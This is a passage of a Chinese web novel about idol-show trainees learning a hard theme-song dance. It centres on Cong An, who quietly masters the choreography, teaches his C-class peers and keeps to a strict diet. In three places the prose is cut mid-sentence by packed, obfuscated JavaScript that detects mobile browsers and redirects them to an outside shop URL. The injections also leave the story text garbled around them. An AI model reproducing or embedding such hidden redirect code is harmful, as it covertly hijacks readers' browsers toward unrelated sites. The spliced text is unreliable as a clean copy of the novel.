直播间早早赶来看直播的观众们,也没想到一大早就看到如此精彩的舞台。 【我天,这是今年的主题曲?也太难了吧,这群练习生能跳出来?】 【不光是跳,还得唱,现在唱的人是晏尔,唱得多好听啊,天籁。换成这群练习生,还指不定唱成什么样呢】 【不是,这么难的吗?谁能跳啊】 【导师不就跳了吗?还跳得那么好,现在是选练习生出道,要是连一首主题曲都跳不好,我看也别出道了】 弹幕观点不一,但有句话说的很对。 选秀是选择练习生出道当偶像,而不是选择练习生回公司训练。 她们需要的是已经足够合格,能够出现在镜头前的偶像预备役。 高难度的唱跳能力是必须,如果做不到这一点,还是趁早回家的好。 演播厅现场,气氛凝滞。 “嘶……”C班区域,不知道是谁倒吸了一口冷气。 B班也有人脸色发白,司景曜看着自己的手,又看看屏幕,嘴唇抿得紧紧的。 他虽然进入了B班,但全是靠着他一骑绝尘的声乐实力。 而现在看主题曲的展示,这舞蹈的难度对没学过舞蹈的司景曜而言,难于上青天。 司景曜旁边的陈子谦也眉头紧锁,显然在快速评估着其中的声乐难度——副歌的高音需要在剧烈舞蹈中保持稳定和穿透力,绝非易事。 A班同样气氛凝重。 师启虽然面无表情,但面无表情已经说明一种态度。 不是轻松,不是放松,而是严阵以待,全力以赴。 查舟更是收起了平日略显慵懒的神情,嘴角绷紧。 柯子晋不自觉地跟着节奏微微动了动手指,模拟着动作。 从安坐在C区,身边是同为C区的练习生们的哀嚎。 比起各方面实力都突出的A班,和实力均衡或单方面实力突出的B班,C班可谓是各方面都有进步空间。 面对这样一首声乐舞蹈难度都不低的主题曲,C班的练习生,只感觉到了巨大的挑战。 至于D班和F班,早就双目失神,只觉得自己无论如何也无法表演出这首歌了。 如果说在主题曲公布之前,有人心里还有黑马逆袭,靠主题曲一跃进入B班甚至A班的想法,但等主题曲公开,这些想法顿时烟消云散了。 实在是难。 超乎想象的难。 从安抿着唇,心情十分沉重。 这舞蹈的风格与他以往习惯的、更注重框架和力度的男团舞有区别,它更“细”,更“缠”,对肌肉的微控和身体的协调性要求达到了变态的程度。那几个连续跳跃旋转对他的核心和膝盖是巨大考验,而后仰下腰……以他目前腰腹力量的退化程度,很可能直接砸在地上。 歌曲同样不简单,音域跨度大,副歌部分情感要求饱满,需要极强的气息支撑和声音控制力,在剧烈舞蹈中完成更是难上加难。 三天……七十二小时……学会,练熟,还要兼顾唱,最后呈现出一个有竞争力的舞台? 轻松的氛围早就被沉默与压力取代。 学习还没开始,但有些人已经想象到自己接下来的表现了。 “示范视频及分解教学视频,已同步发送至各班级练习室的设备。”莫烟的声音再次响起,打破沉默,却带来了更沉重的压力,“从此刻起,直至考核前,所有练习室及部分指定公共区域,将进入全程直播状态。你们的每一次练习,每一次交流,每一次努力或放弃,都将被镜头真实记录。” 直播! 这两个字一出,尽管气氛凝滞,但还是引起了演播厅内的一阵骚动。 从安的心脏重重一跳,随即又迅速沉静下来。 原来如此。 所有的疑惑瞬间贯通——有些练习生刻意到浮夸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于被镜头后的观众解读? 这更是他们这些养成系练习生必须要应对的功课。 如果不能自如面对网络上的各种言论,那他们也无法在无数目光中,平稳地度过这五六年的练习生涯。 而且直播也不是没有好处。 没有剪辑的春秋笔法,没有后期的刻意营造,好就是好,差就是差,观众向来拥有最敏锐的目光。 这次的《星光熠熠》,结果或许会很不一样。 “主题曲歌词、音源及舞蹈分解教学,你们可以在练习室自行学习。导师将会轮流巡查各班,进行指导。”莫烟的目光扫过台下神色各异的少年们,语气平静却不容置疑,“现在,按照班级顺序,前往各自练习室。” “你们的倒计时——正式开始。” 19.第 19 章 莫言说完倒计时开始,现场倒也没有真的出现一个倒计时,但是练习生们的心里不由自主都开始紧张起来。 工作人员说完大家可以离开之后顿时不少人都站了起来,脚脚步匆忙的离开演播厅,朝着练习室赶去。 在这里待了两天时间,大家也没有只待在演播厅里,所以练习室在哪儿大家都还是知道。 现在知道自己的班级换上了对应的衣服,就朝着对应等级的练习室去了。 从安目的十分明确,直奔C班练习室。 C班练习室在2楼,大门敞开着,房间不小,里面的情况一览无遗。 正对门是一整面墙的镜子,这样练习生们站在房间里的每个角落,都能从镜子里看到自己的身影。 当然不用想,镜子后面肯定也是一个个摄像机。 墙上挂着的液晶屏正在播放主题曲星光的视频。 舞蹈老师们整齐划一的动作,背景音乐里高难度的唱腔,在循环播放。 一进房间,情绪压抑了一路的练习生顿时就忍不住了。 “我的妈呀,再看一遍还是觉得不可能……”边看边跪坐在地上,双手抓着头发,生动的演示什么叫崩溃。 他的旁边有练习生更是直接趴在了地上,看样子恨不得在原地翻滚。 有些人没那么外放,他们只是对着在播放视频的显示屏,不断发出痛苦的哀嚎。 随着赶到练习室里的练习生越来越多,小小的房间里响彻着此起彼伏的哀嚎声。 “大家静一静,静一静。”终于,有人坐不住了,站了出来。 一个身材高壮,看起来年纪稍长的练习生站到了屏幕前,拍手试图让大家安静:“光嚎没用,时间紧迫,咱们得组织起来一起扒舞,效率才高。一起扒舞效率才高!我叫王硕,以前带过舞蹈班,大家信我的话,我们先一起把几个基础步伐顺一遍……” “凭什么你带啊?”立刻有人不服气地呛声,是个染着蓝灰色头发、眉眼有些桀骜的男生,“各学各的呗,谁扒得快谁多练,到时候考核各凭本事,搞什么大锅饭?” 他显然不想被人代表,更想突出个人。 “就是,每个人难点不一样,一起学反而拖慢进度。” 有人小声附和。 “可自己扒得扒到什么时候去?有人带着总比自己瞎摸强吧?” 也有人支持王硕。 小小的练习室里,几句话的功夫就隐隐分出了阵营,争夺着话语权和镜头注意力。 王硕脸涨得有些红,还想说什么,但底下已经乱糟糟地各说各话了。 有人急不可耐地跟着屏幕上的影子比划起来,动作歪七扭八;有人站在屏幕前眼睛,恨不得钻进去;还有人三五成群聚在一起,边看边互相抱怨。 周围如此混乱,安文乐却有些格格不入。 他既没有加入哀嚎大军,也没有加入对领导权的争夺。 他只是默默的走到了一个角落,目不转睛的盯着显示屏,一遍一遍的看上面播放的舞蹈。 十分专注,专注的有些不像前两天的他。 安文乐知道,在节目里,观众的注视很重要。 但不是最重要的。 最重要的是得到这份注视之后,能够将这份注视永远留下来的能力。 而现在他要做的就是展现这份能力。 不远处,周骏根本没心思注意房间里的一切,他沉浸在自己的世界里十分痛苦。 不是,主题曲也太难了,他可要怎么办呀? 从安在踏进练习室的时候,就已经和大部队格格不入。 他站在一个既能看清显示屏,又不会频繁被他人打扰的角落位置,一遍一遍的看视频。 既没有坐下,也没有急着跟跳。 先看,在脑海中梳理出一个大框架。 再学,细节地梳理每一个动作。 从安自有一套学习方法。 时间一分一秒的过去,那边纠结要不要一起扒舞的练习生们此刻也终于有了决定。 他们不知道怎么回事,推选出了三名练习生扒舞,这三人扒完舞之后,再由他们教导其他练习生进行学习。 而最开始自荐的王硕,不在这三名练习生之内。 现在那三人已经站在了屏幕前开始学习,其他练习生暂时也没闲着。 有人在询问要不要去卫生间,有人在询问哪里可以打印歌词,甚至还有人在询问有没有人要去吃早餐。 C班的28名练习生,此刻俨然成为了一个小小的社会。 但没过多久C班的氛围就变了。 那三名被推选出来的练习生跟着视频扒了好一会的舞,结果越扒越混乱。 看视频的时候只觉得舞蹈的有些动作难度实在太大,但整体舞蹈的架构还是十分清晰,学起来想必不难,只是想把动作做到位,却有一定要求。 但等真正上手了才发现事情完全不是这样。 这舞蹈岂止是动作难度大,它是从头到脚,各个方面难度都很大。 自己跟着跳了,才会发现这个舞蹈的动作怎么这么多,这么细,这么碎呀! 稍不注意,就会有一个动作被硬生生的漏掉,跳出来就变成了一个四不像。 最开始扒舞十分钟,大家的心还比较安定,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864598|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得刚刚开始,生疏是肯定的。 开始扒舞半小时,学会的动作没几个,大家的心开始稍显慌乱。但还能安慰自己,这支舞本来就比较复杂,学的久些也是自然的。 开始扒舞一小时,大家坐不住了。 有人跑到了扒舞的那三名练习生面前问:“你们学完了吗?” 这话问的,当然是没有。 但是扒舞的练习生当然不会这么回,他点了点头,只说:“快了,还差一点。” 至于是哪一点,这就不太好说了。 但是在场的也没人是傻子,这种含糊的回答,当然也不会有人接受。 于是干脆的问道:“再有十分钟能扒完吗?” 这肯定也是不行的。 这么难的舞,想要完整的扒完,岂止是十分钟的事情。 但如果十分钟扒不完,那也称不上快了。 于是这便有些不好回答了。 于是只能含含糊糊的附和,也不说是,也不说不是。 这下还有什么不知道的,顿时,来问的练习生就不乐意了。 “你们怎么还没扒完?这都一个多小时了,上午的时间马上就要结束了,我们的舞却一点都没学。”说着说着他是真的有些着急了,“本来就只有三天时间,现在就已经去掉半天了。剩下两天半的时间,又要练歌,又要练舞,这让我们怎么练?” 这确实不好练。 更别提C班本来就不是唱跳都优异的练习生。 “你们自己说你们可以扒舞,我们才相信你们的。” 面对大声的质问,扒舞的练习生也无法立刻做出回答。 顿时气氛凝滞了起来。 这下在角落跟着音乐跳舞的人就格外显眼了。 被其他练习生拒绝之后,王硕也像从安一样找了一个角落,安安静静的开始扒舞,练舞。 王硕确实如自己说的那样经验丰富,这一个多小时下来,他已经把舞扒的差不多了。 除了某些细碎的动作还不够完美,但整体大的框架已经大差不差。 另一边,安文乐也已经到了尾声,现在在进行最后的冲刺。 进度最快的自然是从安。 练习了六七年,他扒过的舞不知道多少。更别提他现在这是高考结束,处于人生中脑子最好使的这个阶段,不说是天才吧,但也确实聪明。 经验加上智慧,从安这次扒舞的速度可谓是创造了自己新的巅峰。 不到一小时,他就顺得差不多了。 有人的目光在王硕,安文乐和从安身上划了一遍,最后我在了从安身上。 20.第 20 章 C班练习室里的气氛有些紧张。 之前不着急的,等着那三名练习生扒舞的练习生也着急了。 他们自己扒舞速度慢,等着别人扒好了再教他们,纵然是更快,但架不住那三人扒得这么慢啊。 那三人现在还没学会,再等他们学会了教,又得学到什么时候去? 大屏幕上《星光》的旋律还在循环播放,但每个人心里已经有了新的心思。 直播间里C班直播间的观众们早就坐不住了。 【C班有毒吧,现在居然都还没开始练舞】 【A班几个人都差不多学会舞蹈了,怪不得他们是A班呢】 【不是,为什么那些人就这么干站着,也不练舞啊?】 【不会吧,这支舞不是那么好学的,比起自己练,当然是等别人教来得更快】 【??就等着别人教吗?自己就没有一点主观能动性?本来就已经是C班了,还不知道努力吗?】 【以他们的实力……说不定自己学更慢呢 练习生们不知道观众们的讨论,但他们也知道不能再等下去,众人的目光四处逡巡着。 很快,从安的身影落入不少人眼中。 他不知什么时候已经离开了角落,站到了镜子前那片相对空旷的地板上。不再是静止的观看,也不是琐碎的比划,他正在跳——用大约原速一半的节奏,将整支《星光》的舞蹈,从头到尾,按照自己的节奏,完整地跳了下来。 动作当然还谈不上完美,一些高难度的旋转和下腰,他做得小心翼翼,甚至有些省略,但整体的框架、走向、节拍卡点,竟然已经有了清晰的轮廓。更关键的是那种质感:手臂延伸时的控制力,脚步移动时的轻盈感,重心转换时的稳定……哪怕还只是练习室一次随意的练习,却已经隐隐让人移不开目光。 【等一下,从安是已经学会这支舞了吗?】 【……好像是?】 【他居然学会了?他什么时候学会的?】 【他刚才一直在学啊,这一个小时一直都在角落练习,我时不时看两眼,进度一直在往后面走】 【我也有看到他在角落学,但是他学得这么快的吗?王硕不都没学会?】 【王硕当过舞蹈老师吧,他都没学会,从安居然学会了?】 练习室里,不少人的目光,像被磁石吸住一样,悄悄粘在了从安身上。 “他……他扒完了?”有人压低声音,难以置信。 “看起来像……居然顺下来了?这怎么可能?”旁边的人眼睛瞪得溜圆。 “他不是C吗?初舞台也就那样啊……” “可他坐了一号位啊!”这句话被更低的声音说出来,带着复杂的意味。 “一号位魔咒”的传闻,在这群对往季节目了如指掌的练习生中,几乎无人不知。 第一个胆敢坐上那象征着野心与压力的金字塔尖座位的人,在过往的“传说”里,似乎总与最终的出道位无缘。 所以当从安毫无犹豫地走向并坐下时,所有人都记住了这个“胆大包天”或者“想红想疯了”的名字。 初舞台他拿了C,表现中规中矩,更是坐实了许多人暗地里的想法:看吧,果然是虚张声势,大公司出来的也不怎么样,无非是仗着出身好,搏个话题罢了。 羡慕,嫉妒,还有一丝不易察觉的轻视,在许多人心里打了个转。 可现在,眼前的情景,像一记无声的耳光。 这个他们以为“实力平平、全靠公司”的从安,居然在所有人都被主题曲难度折磨得□□的时候,闷不吭声地,第一个把这块硬骨头啃下了一个大概的形状! “他是不是……以前就练过啊?”有人忍不住小声嘀咕,语气里满是怀疑。 “不可能吧?节目主题曲都是严格保密的……” “那怎么回事?他初舞台是故意的?” 窃窃私语声像小虫子一样在安静的空气里钻来钻去。 震惊、疑惑、还有一丝隐约升起的、对强者的本能关注,取代了最初的轻视。 终于,一个离从安比较近、被一个脚步转换卡了快半小时的那三名练习生之一的练习生,像是下了很大决心,蹭了过去。 他叫李瑞,脸上还带着纠结和尴尬。 “那个……从安,”李瑞的声音干巴巴的,“你……你是不是把舞都顺下来了?” 从安刚好做完一遍,停下来微微喘息,额发湿漉漉地贴在额角。 他看向李瑞,眼神平静,点了点头:“嗯,大概顺了一遍,还不熟。” 他的承认很自然,没有炫耀,也没有藏着掖着。 李瑞眼睛一亮,像是抓住了救命稻草,也顾不得面子了:“那……那个从副歌前面一点,那个侧滑步接转身的动作,我怎么也弄不明白重心,你能不能……给我讲讲?” 话说完,他脸有点红,毕竟他能被推选出来扒舞,自然是舞蹈实力在C班算得上出众,结果现在他却要来向大家一致认为实力平平的从安请教,这让他颇有一种被扒光的赤裸感。 但比起花许多时间都扒不出舞,不耻下问明显会给人更好的观感。 从安看了他一眼,点头答应了下来。 “可以。” 教的过程,也是自己重新梳理、加深理解的过程,能让他对细节的理解更加深刻。 从安然后走到镜子前,用很慢的速度把李瑞说的那个片段做了一遍,“你看,这里重心要先压到左脚,转身的时候不是硬扭,是靠脚尖和胯带过去,像这样……” 他的讲解直接而清晰,配合慢动作示范,李瑞跟着比划,虽然依旧笨拙,但好像摸到了一点门道。 这一下,像是捅破了那层薄薄的窗户纸。 “从安,这个地方手是怎么放的?” “这个wave的幅度到底要多大?” “从安,你看我这么跳对不对?” 三四个,接着是五六个,越来越多的练习生围了过来。 然后不知是由谁提议,又或是自然而然,从安从第一个动作开始,从头教起了这支舞。 练习生们暂时放下了那点微妙的心理,在紧迫的时间和巨大的困难面前,能抓住的救命稻草显得格外珍贵。问题五花八门,但核心只有一个:这舞太难了,而眼前这个人,似乎知道怎么走。 从安没有表现出不耐烦,但也没有过度热情。他言简意赅地解答,指出关键,偶尔做个示范。他没有试图去“领导”谁,只是基于自己的理解,提供一些清晰的路径。 渐渐地,在他的解答和带动下,以他为圆心,一片区域的练习生开始试着跟随他的节奏,一起慢速地顺动作。虽然依旧参差不齐,但比起之前各自为战、一片散沙的景象,已经好了太多。 王硕在不远处看着,心情复杂。他扒舞的进度其实也不算慢,但此刻看着被人群隐隐围绕的从安,一种被比下去的憋闷感挥之不去。他扭开头,更加用力地对着镜子抠自己的细节。 只是抠着抠着,透过镜子看到在从安讲解下,动作做得更好看的其他练习生,再看看自己乍看标准,但却明显没那么美观的动作,终是忍不住,默默地靠近从安,加入了在旁边听从安讲解的队伍。 安文乐也停下了自己的练习。他平静地观察着这一幕,眼神深邃。 从安什么也没说,什么也没做,却在这一刻,悄然成为了C班那无形的‘领头羊’。 回想起刚来到练习室时,那些积极表现试图拥有话语权的练习生,再看看现在他们混在人群中,毫无存在感的模样,安文乐不由觉得有些讽刺。 再看向从安,安文乐的心情有些许变化。 从安和他想象的,或许不太一样。 而周骏早就离开了安文乐身边,加入了从安周围的队伍,十分专注地跟着练习了起来,边练嘴里还不自觉喃喃私语:“哦哦,原来这里要这样……怪不得我总觉得别扭。” 就在C班练习室第一次出现一种略显生涩、却目标明确的协同练习氛围时,门被推开了。 舞蹈导师厍贝走了进来。 她刚从A班和B班过来,那两班的进度和整体水准在她预料之中:A班怪物们已经能在框架内加入个人理解了,B班也在稳步推进,难点明显但态度端正。 对于C班,她的心理预期放得很低——能有一小半人把动作大致比划下来,就算不错了。 毕竟在昨天初舞台评级结束之后,大家都说今年的A,是ACE的A,而B,是优秀的B,C,则是平庸的C。 至于D和F,只能说是一个糟糕,一个回家吧,别来了。 实力差距就是如此明显。 然而,踏入C班练习室的瞬间,厍贝的脚步几不可查地顿了一下。 没有预想中的嘈杂、散漫或大面积的停滞。 相反,她看到的是大部分练习生都面对着镜子,跟着音乐的节奏,正在练习同一段舞蹈。 动作当然还生疏,力度和角度问题一大堆,但令人惊讶的是,那种‘一起在学’的整齐感和方向感。 她的目光敏锐地扫过,立刻锁定了站在略微靠前位置、正一边自己跳一边用简洁手势和语言提示旁边人的从安。 是他? 厍贝对从安有印象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877776|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明辉娱乐的练习,初舞台评级C,和他充满光环的公司和过往履历相比,他的初舞台表现只能说不过不失,配不上他的公司和过往名气。 以至于让厍贝觉得,这孩子是不是被去年的失败打击得有些一蹶不振,或者干脆就是来刷个脸的。 可现在,这个被她打上有待观察标签的练习生,竟然在C班,在主题曲发布仅仅一个多小时后,俨然成为了这个班级在舞蹈练习上的核心? 这让厍贝有些意想不到。 是人格魅力?不像。从安脸上没什么鼓舞人心的表情,话也不多。那么……是实力?纯粹因为比别人快、比别人好,所以被自然地推到了前面? 厍贝压下心头的惊讶,脸上恢复了惯常的严肃。 她拍了拍手,声音清晰地传遍练习室:“好,停一下。” 音乐和动作停了下来,所有人都看向她,不少人脸上露出紧张和期待。 “看来C班进度比我想象的快。”厍贝走到前面,目光扫过众人,最后在从安身上停留了一秒,“接下来的时间,我和大家一起,从第一个八拍开始,抠细节和发力方式。” 厍贝没有过多寒暄和废话,直入主题,开始讲解示范,比之前带A、B班时更基础,也更详细。 视线在面前扫过,每名练习生的表现,都映入眼帘。 “手腕的角度,再打开一点,对,要有延伸感,不是僵在那里。” “这个转身,膝盖的方向跟着脚尖走,不要拧着。” “这个点头,要把停顿感做出来。” “从安,”厍贝忽然点名,中止讲解,“你来做一下这个wave,慢一点。” 从安依言出列,在厍贝和全体练习生的注视下,将那个躯干波浪动作缓慢而清晰地做了一遍。 他的控制力明显优于周围大多数人,动作的层次感和连贯性令人一目了然。 厍贝看着,几不可查地点了下头。 和A班的当然比不了,但身处C班,和周围这群人比,从安好得太明显。 大公司的训练课程,在他身上留下了清晰的痕迹。 “看到了吗?力量的传递是从核心开始的,像水波一样扩散,不是局部抖动。”她指着从安的动作讲解,然后话锋一转,“但你腹部核心再收紧一点,中段会更稳,视觉效果会更好。再来。” 从安点头,毫不拖泥带水,立刻按照厍贝的要求调整,又做了一遍。 这一次,明显更加稳定和优美。 厍贝眼底闪过一丝真正的讶异。 不是因为从安做得多完美,而是因为他居然真的按照她所说的要点,把这个动作重新做了出来。 厍贝太了解这件事的难度了。 多年的肌肉记忆,身体惯性……要让人改变WAVE这个如此基础动作的发力方式,无异于让他重新学习走路。 这种一点就透的理解力、迅速调整的执行力,以及调整后立竿见影的改善……厍贝不由得期待起三天后的主题曲评级了。 这次从安的评级,或许会变得不一样。 心里想了很多,但厍贝面上没有表现出来。 “很好。”她简短地评价了一句,没再多说什么,转向下一个需要纠正的练习生。 但这一声“很好”,以及刚才那番针对性指导,已经像一块投入平静湖面的石头,在C班练习室里,在其他练习生心中,激起了更大的涟漪。 虽然只是一个WAVE的示范,但在数十人的班级里,在镜头前,来自导师点名的单独示范意味着什么,在场每名练习生心里都清楚。 是人气,是背景,更是……实力。 练习生们看得一清二楚,从安的前后两次WAVE,在厍贝的指导下,发生了不少的差别。 不是说两者之间的优劣之分,而是后者在从安融入那一段舞蹈动作之后,变得更加契合,融为一体,就连节奏,也因此卡得更完美了。 这是导师的专门指导,而从安,更有完美消化这份指导的实力! 剩下的练习时间,厍贝细致地抠着基础。 而C班的练习生们,比以往任何一次都更加专注。一部分是因为导师亲自指导的压力,另一部分,或许是因为他们亲眼看到了,同样是从零开始,有人真的可以更快、更好。 那种直观的差距,比任何口号都更能刺激人。 从安回到了人群里,继续自己的练习。 他没有因为被导师点名而得意,也没有因为成为暂时的焦点而分心。 他和其他所有练习生一样,在抓紧厍贝宝贵的指导时间,专注且投入地练习。 21.第 21 章 上午的练习在舞蹈导师厍贝离开后,又持续了一段时间,直到工作人员提醒午餐时间到。 音乐一停,紧绷的神经稍稍松弛,取而代之的是更原始的感官反馈。 累,和饿。 人群像退潮一样涌出练习室,奔向食堂。 这一次,无形的界限似乎更加清晰了,同班的人自然而然地走在一起,坐在相近的区域。 C班那片桌子很快聚集了不少人,粉色的训练服连成一片。 李瑞端着堆成小山的餐盘,眼尖地看到从安独自坐在靠边的位置,立刻凑了过去,一屁股在旁边坐下。 多亏了从安,他们C班的舞蹈学习才能那么顺利。 本来他对自己扒舞速度还挺自信,不然也不会在他人的建议下同意了扒舞再教舞的提议,明摆着的镜头和故事,没有拒绝的道理。 但谁知道这支舞这么难学啊。 要是舞扒不下来,那镜头和故事就要掉转一个方向,从原来的夸变成完全的骂了。 如果真变成这样的走向,李瑞觉得今年的选秀他也不用参加了,收拾收拾回家吧。 还好还好,横空出现一个从安,把整件事请平息了过去。 现在李瑞看从安,那叫一个深情。 这可不是普通人,是他的大恩人呐! “从安,一起一起!”李瑞热情地招呼着,随即目光落在了从安的餐盘上,声音卡了一下,“……你就吃这么点?” 从安的盘子里,内容简洁到近乎寒酸:小半份糙米饭,几朵水煮西兰花,两块鸡胸肉,没了。 颜色寡淡,看着就没滋没味,令人未吃先饱。 “嗯,减肥。”从安拿起筷子,语气平常得像在说今天天气。 “啊?哦……对,是要减。”李瑞恍然,昨天初舞台就有人议论从安体型上镜可能显壮,对普通人倒还好说,但放在练习生身上,就有些超过了。 如果只是还在公司普通练习的练习生倒也罢了,现在他们在选秀,正是关键的时刻,上镜的任何一丝不利,都要避免。 不过李瑞看着自己盘子里油亮的红烧排骨、翠绿的炒青菜和饱满的米饭,又看看从安那清汤寡水的一小盘,心里那点因为练习产生的疲惫感忽然被一种更复杂的情绪取代。 惊讶,更是佩服。 嘴上说说减肥容易,可真要面对食堂里琳琅满目的美味,只取这么一点,真正把口上简单的两个字落到实处的,可没有想象那么多。 李瑞看着从安已经开始安静地、小口地咀嚼那块看起来就很柴的鸡胸肉,忍不住咋舌,“你真行,就吃这个。” 不远处,安文乐也端着餐盘坐了下来,位置刚好能瞥见从安那边。 安文乐的盘子搭配均衡,有荤有素有主食,量也适中。 当他看到从安餐盘里的内容时,夹菜的动作几不可查地顿了一下。 昨天食堂偶遇,从安好像也就吃了一根玉米一点鸡蛋?今天还是这样? 安文乐心里快速盘算着。 从安的身材,在普遍瘦削的练习生里确实算不得苗条,但也绝对称不上胖,顶多是……结实。 但是他居然能对自己这么狠?昨天就只吃了一点,今天还这么吃。 今天可不是像昨天只有一个初舞台,剩下的时间光坐着,今天可是从早到晚的练习,在这么大强度的训练下,只靠这点东西维持?那不得饿得发慌? 安文乐下意识摸了摸自己的脸颊,想起自己偶尔还会偷藏点零食,忽然觉得嘴里原本可口的饭菜有点不是滋味。这种近乎严苛的自律,本身就带着一种无声的、压迫性的力量。 和从安同宿舍的秦宽也端着盘子过来了,看到从安的午餐,眼睛都瞪圆了。 “我去,从安,你中午就吃这个?”他想起昨晚那碗香飘整个宿舍的泡面,从安连看都没多看一眼,今天一大早更是神出鬼没地晨练,“你早上是不是也……”他压低声音,“又跑步又吃这个?你这太拼了吧?” 从安咽下嘴里的食物,简单解释:“基础代谢加上运动量,这些够了。减肥需要热量缺口。” 他说得太过理直气壮,反而让秦宽不知该怎么接话,只能干巴巴地憋出一句:“……牛逼。”然后化敬佩为食欲,坐下之后狠狠扒了一大口饭。 关于减肥的话题很快结束,大家全身心地投入到美食中去。 吃了一会儿,李瑞的好奇心又上来了,他暂时放下对食物的关注,凑近了些,压低声音问:“哎,从安,说实话,你上午扒舞怎么那么快?是不是有什么诀窍?我看那舞难死了。” 不扒舞不知道,一扒舞吓一跳。 同为C班,大家的水平都差不多,怎么从安就能学得又快,跳得又好呢? 这个问题一出,附近几桌的C班练习生虽然依然在吃饭,但耳朵都不自觉地竖了起来。 从安停下筷子,想了想,很认真地说:“没什么诀窍。就是多练。” 他看到李瑞和其他人脸上闪过的失望和果然如此的表情,又补充了一句,“我练了五六年了,很多基础的东西已经成了肌肉记忆,学新动作的时候,身体本能会去找相似的发力和节奏。看起来快,其实是以前慢的时候积累的。” 比起很多其他更看天赋的东西,舞蹈已经算得上是十分公平的了。 一份付出一份收获。 只要投入足够的时间,那一定能得到对应的收获。 如果收获不达预期,那就是付出的时间还不够多。 经过过去几年的练习,从安深知这一点。 李瑞脸上的期待彻底垮了。 五六年……他满打满算也才系统训练两年多。 原来不是有什么秘籍,只是时间堆出来的差距。 李瑞心里那点因为同是C班而产生的不服气,忽然泄掉了一大半,只剩下一种无奈的认清:“……也是,你们大公司的,基础就是打得牢。不像我们……” 在这一刻,李瑞觉得自己好像窥见了那一丝公司差距所带来的不平等。 “吃饭吧,抓紧时间休息。”从安没有接关于公司的话茬,只是平静地结束了这个话题,继续专注于解决自己盘子里那点少得可怜的食物。 午餐结束,练习生们再次回到练习室。 只是这次的练习室,主旋律从舞蹈变成了声乐。 打印出来的歌词人手一份。 起初,屋子里响起的是参差不齐、或洪亮或羞涩的跟唱声,夹杂着念歌词和讨论某个字发音的声音。 从安拿着歌词,站在靠窗的位置,一遍遍跟着录音里的示范旋律哼唱,重点打磨副歌那几个需要稳定气息支撑的高音。 他唱得并不响亮,但很专注,时不时停下来,摸摸自己的喉咙和腹部,调整发声位置。 唱累了,就放下歌词,对着镜子把上午学的舞蹈段落从头到尾顺一遍,重点抠厍贝老师指出的那几个细节问题。 跳得大汗淋漓、气息不稳时,他又会停下来,拿起歌词,在喘息中继续练习演唱,特意找那种刚运动完的状态去适应边跳边唱的感觉。 整个下午,他就在这种“唱—跳—唱”的循环中度过,节奏紧凑得没有留下丝毫走神或闲聊的空隙。 汗水湿了又干,干了又湿,训练服后背晕开深色的痕迹。 不少C班练习生看见从安一直在练,也不由得跟着这个节奏,但往往坚持几轮就不得不坐下来大口喘气,或者干脆在唱歌时偷偷划水休息。 然后看着从安在其他人休息的时候,依然在投入地练习,就像完全不会累一样。 这体能,还是人吗? 这个问题问不出口,但投入的时间往往过得更快。 练习生们只感觉还没过去多久,一低头一抬眼,一下午的时间就结束了。 广播里再次传来了工作人员的声音。 练习时间结束,食堂已开,练习生们可以去吃晚餐了。 于是C班众人再次聚在食堂。 第二次的食堂,练习生们已经有了惯性,大家熟门熟路地走到了中午坐的位置。 不止C班练习生,其他班的练习生也差不多。 整个食堂,此刻都被大块大块的颜色切割,每一个整齐的色块,都是穿着相同颜色训练服的不同等级练习生们。 等C班练习生打好饭菜,回到座位上,几乎是不由自主地,许多人的目光又飘向了从安的餐盘。 和中午几乎一模一样,份量甚至好像还更少了点。 这回没人再询问,所有人心里已然有了答案。 又是减肥的一餐。 但话没出口,目光转移间,无声的惊讶和隐隐的佩服却在空气中弥漫。 在经历了一下午堪称残酷的体能和声乐消耗后,面对美食却只取一瓢饮,这种意志力,直观得让人心惊。 李瑞和中午一样,依然坐在从安身边。 看着从安慢条斯理地吃着那点东西,终于没忍住,小声问了句:“……你真不饿啊?” 从安抬头看了他一眼,长叹一声,嘴角勾起,笑得很苦:“饿。” 言简意赅,分明没说太多,但字里行间,都透露出一种痛苦。 李瑞这下舒坦了。 他就说嘛,今天训练量那么大,他这种吃的这么多的,还觉得自己饿得半死,刚才打饭的时候忍不住打了好多,多到他往从安身边一坐,看到从安餐盘里对比起来堪称微量的食物,心里都一阵良心不安。 现在听到从安说饿,他这才有理由安慰了自己。 大家都饿,这根本不可能不饿。 只是从安要减肥,所以才只吃这么点。 但是他又不用减肥,所以不用控制饮食。 而且运动量大,消耗的也多,吃得比平时多些,也不会有影响。 这么一想,李瑞心里更舒服了。 再吃饭,心安理得了很多。 一口菜,一口饭,清甜的米饭配上鲜香的菜,一起在嘴里咀嚼,味道别提多好了。 经过这几天在食堂的进食,李瑞算是发现了,节目组的这个食堂,厨师也不知道是从哪里找的,手艺那叫一个好。 